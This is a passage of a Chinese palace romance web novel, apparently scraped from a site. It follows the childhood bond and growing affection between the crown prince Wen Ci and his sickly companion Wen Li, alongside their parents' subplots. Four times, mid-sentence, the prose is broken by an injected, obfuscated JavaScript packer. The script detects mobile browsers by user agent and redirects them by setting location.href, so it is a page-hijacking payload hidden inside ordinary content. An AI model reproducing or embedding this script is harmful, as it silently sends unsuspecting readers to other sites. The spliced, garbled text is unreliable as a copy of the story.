温黎一出生就伴随着各种病症,一向不信神佛的温书礼也去求了佛祖,将雕刻好的玉佩拿去佛寺开光,保佑他一生平安康健,无痛无灾。 可这样的东西可比莲花镯珍贵太多了,是闻辞无论如何都不会收的,连忙推脱着,“这个我不要,这是保佑你平安的,我不可以拿。”于他而言温黎的身体康健平安才是最重要的。 “这是我最珍贵的东西了,自然要送最好的朋友啊。”温黎歪着小脑袋,不理解地看着闻辞。 “反正我不要这个。”闻辞也憋着一股劲儿,说什么都不要,又小心翼翼地捧着挂在了温黎的腰封上。 “那你想要什么,我都可以给你。” “我什么都不要,我只要阿黎能永远陪着我就好啦。” 温黎微微蹙了蹙眉头,他读万卷书,自然知晓礼尚往来的道理,在他的观念中珍贵的礼物就应该要用珍贵的礼物来还,可是闻辞不要,这一点都不好! “怎么了怎么了,不是很好看吗,干嘛要摘下来。”闻辞大惊失色,连忙制止。 “你不要我的东西,我也不要你的了。”温黎性子绵软,却又十分地执拗,认定好的事情就是要做,说什么都要摘下来还给闻辞。 “好好好,我要我要!”闻辞头脑风暴着,陡然间瞥到了一旁在阳光下折射出七彩光辉的走马灯,立刻道:“我想要你阿爹给你做的那只金色琉璃莲花顶的走马灯,我喜欢那个。” 温黎的脸庞这才明媚起来,没有执意要把莲花镯摘下来,“吧嗒吧嗒”地跑过去把走马灯拿过来,“这也是我最喜欢的,这样的话我们就互相交换信物了。” “嗯嗯。”闻辞忽然伸出一只小指头,兴致冲冲道:“我们来拉勾勾吧,做一辈子的好朋友!” 两个小豆丁拉了拉勾,私自定下了终身的友谊。 “对了,我不能跟你说话了,陛下赏赐了我好些东西,我要去给陛下谢恩的。”温黎整理了一下他的衣袖,以达到最好的状态。 “我陪你一起去!”闻辞赶紧把走马灯放下,跟着温黎一同前去。 *** 长胜殿内。 渊国使臣沈清泉跪在闻言殷的面前,态度倒是毕恭毕敬,可眼神却极其具有侵略感,恨不得把小皇帝看个精光。 闻言殷放下了礼单,一双眸子瞪得圆溜溜的,“不许这样盯着朕看!还有把你那假皮撕了!” 沈清泉缓缓站起身,撕掉了欲盖弥彰的人皮面具,露出了一张雌雄莫辨的脸,走到了闻言殷面前,骨骼分明的手指搭在他的肩膀上轻轻地按着,“陛下放小王进来,却不许小王看,这是何道理啊。” “你比上一次足足晚了半个月,你不得解释解释吗?”闻言殷板着张脸。 沈清泉叹了一声气,面上皆是无奈,“我遵皇兄遗愿为摄政王,扶持小侄儿登基,他不过才八岁,比我们的阿辞大不了多少,上月初三遭遇一次暗杀,若非阿苑洞察敏锐,恐怕他早就身首异处了,我那小侄儿的周围虎狼环伺,更有我那亲弟弟虎视眈眈,他身边离不开人的。” 闻言殷眼眸中闪过一丝动容,抬起眼帘,直直地盯着沈清泉看,“朕说过,你做不来的,朕替你做。” 沈清泉吻了吻闻言殷的嘴角,轻声地哄着他,“阿言,你便让我自己做主吧。” 闻言殷最吃小意温柔这一套,声音渐渐地软了下来,“那你得多回来看看我。” 沈清泉弯了弯嘴角,“嗯,好。” 等时至晌午的时候,沈清泉才从殿内出来,一脸的餍足地整理了一下衣襟,迎面就撞上了闻辞和温黎两个小豆丁。 两只小手紧紧地拉着,沈清泉一眼便看见了温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433069|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黎双腕上的一对莲花镯,微微怔了一下。。 闻辞察觉到了沈清泉的视线,将温黎拉到了自己的身后,严严实实地挡着,虎着张脸,严肃地问着,“你是谁啊,怎么在我父皇的寝殿里?” 沈清泉收回了目光,停留在闻辞的身上,神情温柔,微微弯了弯腰身,“太子殿下万安,我是来送贡品的使臣。” “哦,退下吧。”闻辞摆了摆手,不欲再说些什么,直勾勾地盯着沈清泉的身影看,瘪了瘪嘴巴,“我看他不像什么好人,也不知道到我父皇寝殿里干什么的。” 温黎歪着小脑袋,他觉得这男人的眼睛很是眼熟,可是又不记得在哪儿见过了。 沈清泉是渊国先帝一母同胞的亲弟弟,明明只想做个富贵闲人,潇潇洒洒过一生,但天公不作美,正直壮年的渊国帝意外重病身亡,只留下了一个五岁大的独苗苗,沈清泉被临危受命抚养独苗苗长大,并护他周全。 独苗苗聪慧乖巧,抚养他也不是什么难事,但同为他兄弟的沈清远却野心勃勃,一心想取无知幼童而代之。 而身为闻言殷早已独揽大权多年的衍朝皇帝,肃清了身边全部的佞臣与祸害,真正达到了皇权专制的地步,无人敢忤逆他的决策,所以他的方式最简单粗暴直接将沈清远灭了一了百了,但渊国形势复杂,各大势力盘根错节,但凡有一处偏差都会掀起轩然大波,只可徐徐图之。 尽管是这样,总是避免不了沈清远会在暗中使坏,今日不是暗杀,明日就是下毒,卑劣手段层出不穷,沈清泉与虞苑都不能有一丝一毫地懈怠。 傍晚时分,虞苑遭到一次暗杀,捂着自己的受伤的手臂不知不觉走到了温府。 虞苑初见温书礼时,他就是满身伤,被人下药而神志不清,泪眼朦胧地揪着他的衣裳求他帮帮自己,这么一帮就帮出了一个小家伙,待小温黎出生后他就跑了,一跑就是五年,小家伙已经会喊“阿娘”了。 而这次,虞苑不想求他了,转身就想走。 可正巧温书礼走了出来,看见猩红的血液时是无论如何都忍不住的,飞奔到他身边,冷峻的脸上被撕开了一道口子,“虞苑,你受伤了。” “很多人都想要我的命。”虞苑还是一贯的清清冷冷,连语音语调都没有什么起伏,眼神精光地盯着温书礼看,“你想吗?” “我不要你的命。”温书礼的视线下移,落在了虞苑的心口,眼神波动,早已掀起惊涛骇浪。 我想要你的心啊…… 再抬眸时,眼底已经恢复了平静,温书礼把虞苑横抱了起来,带进了温府。 等放在床上的时候,虞苑已经晕了过去,温书礼熟练地给他脱光了衣裳,小心翼翼地处理伤口。 虞苑身上有很多伤痕,除了一张洁净的小脸儿以外,大大小小地遍布全身,比起五年前要更甚,令人心惊与心疼。 温书礼将药吹凉了送到了虞苑的唇边,可他嫌药苦,本能地抿紧了嘴唇,死活不愿张口,温书礼无奈地叹了一声气,然后将药汁含入口中,然后捏开他的下巴,唇对唇喂了进去。 一整碗药就这么喂完了,温书礼轻轻地擦拭着虞苑唇角残留的药渍,语气十分清浅,带着一丝祈求,“阿苑,你别总是那么逞强了。” 19. 第 19 章 虞苑伤好之后没有留下只言片语就离开了,就如同当年把小温黎生下来就悄无声息地离开一样,只剩下温书礼独自一个面对空荡荡的房间,嗷嗷待哺的小娃娃。 温书礼似乎习惯了这样,习惯了虞苑毫无征兆地闯进了他的生活,又毫无察觉地匆匆离去,他心情好像没什么波澜,只是安安静静地收拾着房间,却固执地保留着虞苑存在的痕迹,仿佛他一直都在一样。 温黎最终都没有见到他的阿娘,温书礼也什么都没有说。 直到温黎十岁那年,渊国传来消息宁王沈清远大逆不道企图造反,被摄政王沈清泉发现意图伏击,身陨于悬崖,尸骨无存,史书之上寥寥几个字平定了渊国多年来的动荡不安,从那之后温黎便时常在宫里瞧见沈清泉的影子。 只是他总换着人皮面具,每回进宫温黎都要反应好一会儿,盯着人家眨巴眨巴着自己水汪汪的大眼睛,仔细辨认着。 路过勤政殿时看见了从里面出来的一个陌生男人,温黎看了他许久才有礼貌地道:“沈大人好。” 这多年了,沈清泉见了温黎无数次,十分喜爱这个可爱又漂亮的瓷娃娃,忍住了想要揉一揉他小脑袋的冲动,笑眯眯地弯着腰,柔柔道:“阿黎好呀,怎么一个人到这儿来了?” “我要去藏书阁,把书册放回去。”温黎乖乖巧巧地回道。 沈清泉见他一个小娃娃拿着这么重的书册,不禁接了过来,“阿黎,你怎么总能一眼就认出我来呢。” “一个人的相貌再如何变化,眼眸神色都是无法改变的,你的眉眼生得好看,跟阿辞很像。”小小的温黎并不能理解小娃娃究竟是怎么得来的,更不知道两个男人之间是如何生的崽崽,但令闻言殷朝思暮想之人的画像与眼前人一模一样,所以理所当然地将此人当成了闻辞的娘亲。 可闻辞就不怎么认为了,他对总是擅自出入自己没什么心眼的父皇寝殿的男人没什么好感,远远地瞧见他俩在说话就赶忙冲上前,挡在了温黎的面前,像护小鸡崽子一样好好地护着他。 而他所训练的一支汪汪队也冲到了沈清泉的面前,小时候胖嘟嘟的肉球已经能像一个威风凛凛的小将军了,龇牙咧嘴地冲着他叫唤。 沈清泉看着一群小狗狗轻轻地挑了挑眉头,面上丝毫不见害怕,反而从容地拿出了一只翠色的玉哨。 随着哨子被吹响,发出一阵奇异的声音,那群狗狗就像是被下了定身术一般立在原地,也立马安静了下来,露出了一脸和善的样子,随着哨声再次响起,狗狗们便调转了头,自动站成一排,整整齐齐地朝着闻辞的方向走了过来,像一群训练有素的士兵。 甚至都不用发号施令,仅仅用一只哨子即可,看得两个小人儿目瞪口呆,不禁发出了惊叹声,“哇哦——” 训练许久的汪汪队居然这么容易就被策反了,闻辞表示不服,“你怎么有本事驯服我的汪汪队!” “我手中有一枚可驯服一切动物的兽哨,只要它们听见哨声就会全部听我号令,”沈清泉晃了晃手里的翠色玉哨,“你想不想学?” 闻辞的眸色亮晶晶的,早已出卖了他想学的渴望之心,但又不想表现得太明显,于是努了努嘴巴,一副十分傲娇的模样,“你要是非要教的话,我也能勉为其难地答应。” 沈清泉忍俊不禁,“太子殿下,微臣特别想教授您这项技能,您便赏个脸吧。” 闻辞被恭维得尾巴都要翘上天了,“你都这么说了,那就好吧。” 从藏书阁回来后,他们就来到了校练场,温黎乖乖巧巧地坐在石阶上,手里拿着永远也学不会如何解开的九连环,视线却全被闻辞与汪汪队吸引了过去,他也想过去和他们一起玩儿,但自己的身体不允许,估计没走两步就会气喘不止,会给人添麻烦的。 不久后,沈清泉走了过来,坐在了温黎的身边,看穿了小家伙眼底的艳羡与神采,于是递过来一只白色的哨子,“这个可以操控信鸽的哨子,无论多远,使命必达,这是给我们阿黎的小礼物。” 温黎将信将疑地接过了哨子,轻轻地吹响,发出了与兽哨完全不同的清脆鸣声,没一会儿一只通体雪白的鸽子落在了的面前,一步一伸头地走过来,腿脚上还绑着一只信匣子。 “我是不是想给谁写信都可以呀?”温黎的眼睛亮晶晶水汪汪的,盯着沈清泉看的时候犹如漫天星辰一般漂亮。 一个漂亮精致的小天使这般天真烂漫地盯着自己看,犹如一颗红心击中了心脏,喜爱得不行,声音都忍不住夹了起来,“是啊是啊,阿黎想写什么就写什么,想给谁就给谁。” 温黎紧紧地跟着小鸽子看,若有所思着。 “阿黎阿黎!你瞧我是不是很厉害!我已经学会啦!”闻辞的声音又吸引了温黎的全部目光,抬头看去就看见汪汪大队站得整整齐齐,像一群威风凛凛的将军,随着哨音响起一只只冲了出去,勇猛地将沙袋撕碎,假以时日上战场都没问题。 第二日上课时,温黎总是闷闷不乐地,温书礼敏锐地察觉到了自家小宝贝心绪很是不佳,既紧张又担心地问道:“怎么了?是有人欺负你了吗?” 温黎耷拉着脑袋,眼睛红红的,一副欲哭不哭的模样,“阿爹,阿辞的阿娘都回来了,为什么我的阿娘不愿意回来。” 温书礼的身体僵硬了一瞬,神情都变得神伤与落寞了起来,但还是揉了揉温黎毛茸茸的小脑袋,“阿娘在很远的地方,回不来……” “那你能不能把我的阿娘追回来啊。”温黎的眼神充满了期许。 可温书礼一直不为所动,他根本没有这个胆量,闻言殷与沈清泉是相互牵挂与喜欢,可他们之间就只是自己的一厢情愿,他不愿给虞苑造成困扰。 “阿黎不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433070|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懂,等阿黎长大了就知道了。” 温黎是不懂,也不想懂,他只想要和别的小朋友一样能有阿娘而已,无论是男是女,只要是阿娘就好,可是他什么都没有。 想着想着就忍不住委屈巴巴了起来,可是他不想在阿爹面前哭,只能用袖子倔强地擦了擦眼泪。 而课桌底下闻辞拉住了温黎的小手,悄声道:“我们给你阿娘写信吧。” 散学之后,温黎拉着闻辞就回了寝殿,抓着毛笔想了半天不知道该如何落笔。 闻辞撑着下巴仔细地思索了半晌,“你就写我非常非常地想念你,好想好想见你。” 温黎点了点头,赶紧写下来,可刚写到想”字就停顿了,小眉头轻轻地拧着,拿不准主意,“可是万一……万一他是因为不喜欢我才不回来的该怎么办啊?” 闻辞一听就不乐意了,在他眼里温黎可是万人迷啊,立马表示,“谁会不喜欢你啊,那就是他有眼无珠,你阿娘肯定爱你爱到不行!” “那为什么他不回来呢。”温黎吸了吸鼻子,满眼难受,眼角不知不觉都泛起了泪光。 他想不到别的原因了,明明同为渊国人的沈清泉都可以时常来衍朝。 “不哭不哭!”闻辞一边帮他擦眼泪一边哄着,“因为渊国事忙啊,你看他们的小皇帝也才十岁呢,肯定得有人看着才行,也就是沈清泉整日无所事事地往我父皇宫里跑,一点都没有责任心……”他控诉起沈清泉来可以洋洋洒洒地说上半日,好一会儿才把话题回到了虞苑身上,“所以你阿娘就是很好很好啊,他一定也会想念你的!” 被闻辞这么一鼓舞,温黎的心情好了许多,止住了泪水,用块小帕子擦了擦脸上的泪痕,“嗯,我阿娘是最好的!” “沈大人说要飞多远都可以的,肯定能飞去渊国,把信给我阿娘。”温黎小心翼翼地将写好的信卷成一点点大,塞进了鸽子腿的信匣子里,双手合十地祈求着,“小鸽子啊小鸽子,求求你一定要把我的信带给我阿娘哦,我阿爹的幸福可就靠你了呢。” “咕咕——” “啾啾——”小鹦鹉不知从何处展开漂亮的翅膀落在了温黎的肩头上,用小脑袋十分亲昵地蹭了蹭温黎的脸颊。 温黎摸了摸被德福养得油光水滑的牡丹鹦鹉,然后轻轻地抓着它放到了一边,拍了拍它的小屁股,“啾啾你不要捣乱,阿娘有很重要的事情要办呢,阿娘要找自己的阿娘呢。” 随着哨子被吹响,伴着悠扬清脆哨声,小鸽子挥动着翅膀飞向了远方。 温黎不知道一封信能不能起效果,亦不知道是不是能聊表他的思念,更不知道可不可以让他见到阿娘,之后写了很多封,偶尔也会得到阿娘的回应,亦会随着沈清泉来访衍朝,可是他与温书礼之间依旧是淡淡的,乃至往后的许多年,两个心思拧巴的人才敞开心扉,好好地在一起。 20. 第 20 章 任光荏苒,春去冬来,时光如流水一般匆匆而过。 这已经是温黎来到东宫的第十二年了,三年前顺利地完成了科举考试,甚至超越了他的父亲,成了衍朝历史上年纪最小的状元郎,担任翰林院修撰一职,同时身为太子殿下的伴读,依旧住在东宫里。 温黎一袭苍葭色的长袍,衣袖挽到小臂处,一节白皙的肤色若隐若现,一双莲花金镯在阳光下烨烨生辉,比起幼时脱了稚气,小脸儿更为精致漂亮,明眸皓齿犹如天上星辰,满是少年气息。 坐在小院里静静地执着毛笔,一笔一划地落在了青竹纸上,写下了一个个娟秀的小字,墨气混着浅浅的竹香在炎炎夏日中显得无比清新。 微风轻轻掠过,发丝随风飘扬,耳垂间的一颗小红痣若隐若现,像是戴了一只红艳艳的朱砂耳饰。 啾啾年纪已经很大了,不怎么愿意动弹了,停留在桌子上小软垫里窝着睡觉,倒是他的孩子们、孩子的孩子们活蹦乱跳着,在整个院子里飞来飞去。 一只通体雪白的大狗狗窝在温黎的脚边,大脑袋枕在他的鞋子上,睡得正憨甜,肉球在前年因病去世了,现在汪汪队的队长变成了肉球的孩子雪球。 雪球的耳朵动了动,然后猛地站起身雀跃了起来,撒开腿就往外跑,扑到了来人身上。 闻辞风尘仆仆地赶回来,身上还穿着一袭坚硬的盔甲,瞧见温黎的身影后,步履越发轻快起来,满面春风得意,连雪球都没有顾得上,“阿黎!” 温黎抬眸的一瞬间就感觉自己的身体轻飘飘了起来,整个人被抱在了闻辞的怀里,双脚腾空,很是没有安全感,把他吓了一大跳,急剧地咳嗽了起来,脸颊涨得通红,“咳咳,你快……快放下我……咳咳咳……” 幼时闻辞就比温黎高些,越长大差距就越是明显,加之身体不大好就长得越发缓慢,比同龄人都稍矮些,闻辞那高大威猛的虎狼样倒衬得温黎像只娇弱弱的小兔子,哪里会不被吓到。 闻辞赶紧把温黎放下来,轻轻地拍着他的后背,给他顺气,满脸的担忧与关切,“又病了?” 温黎咳了一会儿,脸上的潮红渐渐散去,“昨夜窗户没有关严实,着了风寒,”他推了推闻辞,刻意与之拉开了一些距离,轻声道:“你下次不要突然抱我了,会吓到我的。” “好好好,我都依你。”闻辞一边满口答应,一边观察着温黎的脸色,见恢复如常了才松了一口气,“我不在你身边,你都不能好好照顾自己了。” “我能照顾好自己的,”温黎抿了抿嘴巴,不想承认自己是个没用的家伙,“你怎么穿着盔甲就进宫了?” “我赶着回来呢,快累死了,待会儿还要洗漱一番去见父皇呢。”一屁股坐在温黎的软垫上,将他的茶水一饮而尽。 “你没受伤吧?”温黎的视线将闻辞上下扫视了一圈,语气有些急切。 闻辞摆了摆手,完全不把他们放在眼里一般,“不过是一些流寇,不成气候,没两下就打趴下了!” 自闻辞十五岁,因着他活泼好动,浑身精力无处发泄,于是闻言殷让他跟着徐昀徐大将军到处跑,也是有心历练他,身为衍朝的太子需得文武双全,小小年纪也立下了不少战功,在朝中人人称赞,甚少有人再参他惹事闯祸了。 这次蜀地闹匪患与旱灾,扰得当地百姓苦不堪言,当地父母官上奏朝廷,皇帝遣人镇压,令闻辞为主先锋,耗时半个月,将当地最大最难缠的匪窝给一锅端了。 温黎才不信闻辞的鬼话,眼尖地看见了他藏在袖子里的一截白布,紧紧地抓住了他的手,把袖子往上一拉,露出了一大截带着丝丝血迹的绷带,将整个小臂都缠绕了起来,可见伤口之大。 被揭穿的闻辞一阵心虚,眼神都不自在地飘忽了起来,吞吞吐吐地不知该如何解释,“那个……这个……” 而温黎的眼角瞬间红了一圈,泛起了泪花,心里是说不出来的难过。 闻辞顿时惊慌失措起来,把手抽了回来,浑身上下摸索了半天都没有摸出一块帕子,自己的衣袖又太脏了,不敢就这么触碰白净的小脸儿,只能轻声哄着,“不哭了不哭了,我一点儿都不疼的,小哭包,明明受伤的是我啊,你怎么还哭了呢。” 见到闻辞受伤就觉得很痛,那种痛感就好像加注在他身上一样,这样一想就忍不住想哭。 温黎用衣袖胡乱地擦着自己的眼泪,蹭得眼角一片通红。 闻辞连忙抓住了温黎的手,“别擦了别擦了,这是脸,不是破抹布,再擦就要破了,”他凑近了些轻轻地吹了吹,软着声音,“所以才不想让你看见的嘛。” “那也不能瞒着我的。”温黎吸了吸鼻子。 “好好好,下次不会了,绝对不会了。”闻辞认错态度良好,但下次依旧会犯。 温黎知道闻辞的臭毛病,他只会怪自己这次又没有藏好,下次要更仔细一些,于是瘪了瘪嘴巴,小声地骂了一句,“骗子。” “啊?你说什么?” “说你下次要注意安全。” “我有阿黎特意给我求的平安符,会平平安安的。”闻辞嬉皮笑脸地拍了拍自己健壮的胸脯,那张平安符正贴着胸口好好地藏着呢。 温黎看着闻辞鼓鼓囊囊的胸膛,脸上有些发热,别过了脸去,语言催促着,“你快去洗洗吧,还得面圣呢,德福公公早就把水备好了。” 德福一脸笑眯眯地站在一旁,也不打扰他们说话,就是静静地看着他们,忽然被点到了名字才迎了上来,“是是是,殿下咱先去沐浴一番吧。” 小院又恢复了以往的平静,如同一汪泛不起任何波澜的湖面,好像只有闻辞的z存在才能荡起一层层涟漪。 温黎在编写衍朝新纪年,不知不觉趴在桌子上睡了过去,不知过了多久,连身上被披上了一件缎面披风都不知道。 忽然感觉自己的耳朵痒兮兮地,不禁往侧边躲了一下,清醒了过来,发现闻辞竟然在揉捏着自己的耳垂,不禁浅笑道:“很痒啊。” 温黎抓住了闻辞得寸进尺的手,佯装生气,语气却很轻柔,“好了,不要弄我了。” 闻辞收回了手,拢了拢温黎身上的披风,“怎么还睡在这儿啊,虽说是晚春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433071|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,临近夏季,但四季交迭之间是最容易风寒的,你身体经不住的。” “就要回去了。”温黎站起身,收拾着自己的手稿,露出了一截皓白的腕子,金灿灿的莲花镯衬得越发白皙,刺着闻辞的双目。 闻辞面上一热,连忙移开了视线,将一沓纸抢了过来,“我来我来!” 温黎看着自己辛辛苦苦写出来东西都快被揉在一起了,一阵心惊肉跳,赶紧叮嘱着,“你小心些,墨迹还没干呢。” 闻辞只是故意逗逗他,自然知道这些东西是温黎的宝贝眼珠子啦,好好地收着呢,一张都没有弄花,拿去了书房慢慢晾干。 夜晚,闻辞没有去仅一墙之隔的自己寝卧,而是挤在了温黎的一方小榻上。 自从有人之大防意识之后,温黎就与闻辞分房而睡,闻辞总有这样那样的理由同他挤在一起,不是打雷下雨害怕了,就是怕冷怕寒了,亦或是身体不适要和他贴贴了。 比如今夜,借伤爬床。 温黎嫌热似的推了推闻辞的肩膀,蹙了蹙眉头,“你往那儿去些。” “阿黎啊,我的手好痛。”闻辞捂着自己的手臂,满脸痛苦的模样。 温黎被吓到了,连忙坐起身来到了闻辞的身边小心翼翼地握住他的手,“是伤口疼吗?” “嗯嗯,要阿黎吹吹才能好。” “呼呼——”温黎不疑有他地照做了,将嘴唇凑了上去,轻轻地吹着伤口的位置,吹了好一会儿,脸色都红了,微微喘着气息,“怎么样?还痛吗?要不要找……” 温黎一抬头,对上了闻辞饱含笑意的双眸,丝毫不见痛苦的神色,这才知道是自己被耍了,立刻恼羞成怒,气得两只腮帮子都鼓起来了,用力地甩开了闻辞的手,裹着被子滚到了最里面。 “哎呦哎呦,好痛啊——”闻辞嚎了一嗓子,这次是真的有的疼了,被温黎甩了那么一下,正好碰到了伤口。 但狼来了的故事只能听一遍,温黎怎么都不信他,闷闷道:“痛就去找御医,我不会治病。” “明明刚刚还那么担心我呢,怎么到现在都不理我了啊,是有人把我的阿黎夺舍了吗?”闻辞没皮没脸地凑上来戳了戳温黎气鼓鼓的脸颊,“我刚刚是真的很痛的,是阿黎帮我吹好的。” 温黎挥开了闻辞的手,气呼呼着,“我竟不知道自己还有这样的本事,吹吹气就能止疼了。” “对啊,因为阿黎吹得是仙气哇!” 温黎瘪了瘪嘴巴,将头埋得更深了些,然后嘟囔了一句,“不正经。” 寝殿又安静了下来,闻辞是个闲不住的,又刚刚分离了半个月回来,更是有说不完的话,可是温黎却不理他了,不禁扯了扯他的衣袖,“理理我嘛,阿黎。” 温黎拽了拽袖子,“睡觉睡觉,谁在说话谁就是小狗。” 闻辞像是完全不知羞一样“汪汪”了两声。 “噗嗤——”温黎忍不住笑出了声,小脑袋从被子里钻了出来,“那我再给你吹吹伤口吧。” 闻辞不带犹豫地就把手伸了出来,“好啊好啊,阿黎最好啦!” 21. 第 21 章 睡到后半夜,温黎宛如置身一座火炉之中,浑身上下都像是被火烤着一般,热得不像话,不知不觉就被热醒了。 醒来一看,发现闻辞手和脚都搁在自己身上,十分的不规矩,而且跟铁一样沉重,压得他都有些喘不上气来了。 于是把闻辞的手挪开,可紧接着他又如水蛇一般缠了上来,温黎来来回回弄了好几次,倒把自己累得气喘吁吁,脸色涨得通红,最终忍无可忍之下对着闻辞的手臂咬了一口。 虽然没用多大的力气,没有咬破皮,但也是疼的,直接把闻辞给疼醒了。 本来就有起床气的闻辞,加之脾气还不好,立马就要嚷嚷起来,可一看见温黎那张漂亮的脸蛋便偃旗息鼓了,睁着惺忪的睡眼挠了挠手臂,“什么东西咬我啊?” “是虫子,我屋里有咬人的大虫子,你还是回你的寝殿吧。”虫子本黎推了推闻辞,却纹丝不动。 “不要,阿黎的房间香香的,有甜甜的桂花味儿,我很喜欢。”闻辞又搂住了温黎的肩膀,香甜地砸吧了两下嘴巴,剩下温黎一脸的生无可恋。 温黎散在枕边的头发都被闻辞压在了胳膊下面,头稍微动一下就被扯疼了。 “你往旁边去一些,压到我的头发啦。”温黎痛得很生气,脸颊都是鼓鼓的,“我们不可以再睡在一起了。” 闻辞宛如病中垂死惊坐起,“什么!为什么不可以?” “因为我们都长大了啊,再也不是五六岁的小朋友了,睡在这里不仅拥挤而且很不自在。”年龄越大,温黎就觉得这样很奇怪,兄弟姐妹之间尚且五六岁便分房而睡,他们不仅不是亲兄弟,而且都已经很大了,不应该如此。 “哪里拥挤了,我都可以打滚呢。”闻辞滚了一圈又回到了温黎身边,表示宽敞得很。 “可是你非要挨着我睡啊,你老是把手放在我的胸口,我都喘不上气来了。”温黎一下子就掀开了被子,在自己的心口比划了两下。 衣襟不知不觉松开了一些,露出了一小片雪白的肌肤与精致的锁骨,随着小幅度的动作若隐若现着。 “那我不放胸口不就好了,我就睡在边边上。”闻辞又往外挪了挪,胳膊都要耷拉在床框上了,反正说什么都不会离开。 这下子温黎彻底没了办法,闻辞总有这样那样的理由非要和他黏在一起,不知道为什么闻辞总是这般粘人,从小到大似乎都是如此。 一场春雨过后,温黎病倒了,并伴随着周期性的发病,面色潮红呼吸不畅,浑身燥热难耐,比起幼时还要严重许多。 温黎难受地厉害,冰凉的帕子都不能缓解他的症状,只能手指胡乱地扯着自己的衣领,衣裳本就单薄,这么一扯就扯掉了大半,胸前还挂着晶莹剔透的汗珠。 嘴巴微微张开大口大口地喘.息着,想要攫取空气,漂亮的双眸蓄满了泪水,雾蒙蒙的一片,什么都看不清楚,一副脆弱不堪的模样。 闻辞散了朝就匆匆忙忙地赶了过来,一掀开纱幔就闻到了一股浓浓的桂花糖糕的气味,十分甜腻,好像泡在一碗甜水里一般。 这么多年过去了,闻辞早就积累出了经验,这样浓度的气味已经表明温黎现在很难受了。 里头蒸腾的热气让他额间都沁出了汗珠,但他已经顾不上许多了,冲到了温黎的床前,净了净手后就拿出一把短刀在自己手指上划出了一个口子,血珠争先恐后地冒了出来,然后将手指伸进了温黎微微张开的嘴巴里。 茯苓的香气瞬间充盈着鼻腔,温黎就像是久旱逢甘霖的土地一般拼命地嗅着,而血液中蕴含的香气是最足的,不自觉地吮吸了起来,可他并不喜欢血,尝了一点后就开始乱动,来不及咽下的血珠顺着嘴角滑落。 “慢点慢点。”闻辞以为他吐了出来,用拧干的湿帕子擦着温黎嘴角的血迹,没有让鲜血染红了枕巾。 最终温黎的喉结滚动了两下,勉强咽下去了一两口,气喘的症状缓解了下来,沉沉地睡了过去。 温黎的眼泪对闻辞的狂症有奇效,闻辞便效仿此道,在温黎发病的时候也“吧嗒吧嗒”地掉着眼泪珠子,谁知道一点用处都没有,好像温黎对自己免疫一般。 但闻辞偏偏不信邪,在经过不断的试错之后终于发现了他的血有同等效用,可以缓解温黎的热症与气喘。 闻辞坐在床边细细地给温黎擦着汗水,把汗湿的小脸儿都擦拭了一遍,眼角的泪痕都擦得干干净净,又是一张白嫩漂亮的脸蛋了。 单薄的衣衫也都被汗湿了,衣襟被拉扯得乱七八糟,闻辞干脆把脏衣服脱了下来,小心翼翼地扶着温黎套上了一件干爽的。 温黎浑身上下没有一处不白,宛如一块价值连城的白玉,由于身体不好,显得有些病态与太瘦弱,可依旧十分漂亮。 混迹于军营的闻辞见过不少裸体,但全是一群糙汉子,大多数小麦色皮肤,更有甚者是黑黝黝的,哪有温黎这样白嫩纤细的。 这对一个血气方刚的大小伙儿太具有诱惑力了,眼睛都不知不觉地看直了,手指不小心蹭到了温黎的腰际。 温黎最怕痒了,不禁“哼唧”了两声,无意识地躲避着闻辞的手指。 闻辞这才回过神来,猛地拢上了温黎的衣襟,又盖上了被子,努力平复着自己躁动不安的心绪。 温黎睡了整整一天一夜才缓缓地睁开了眼睛,浑身都很疲惫,嘴巴里还残留着一丝血腥味,手指轻轻动了一下,感受到被什么东西包裹住了,还热乎乎的。 于是侧目看过过去发现闻辞正睡在自己身侧,动作十分的规矩,只是握住手而已,没有压到他。 轻微的动作吵醒了闻辞,立刻就直起身子去摸了摸温黎的额头和脸颊,已经不烫了,轻声细语道:“还难不难受?要不要吃点东西?” 温黎的眼神渐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15433072|169254||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); 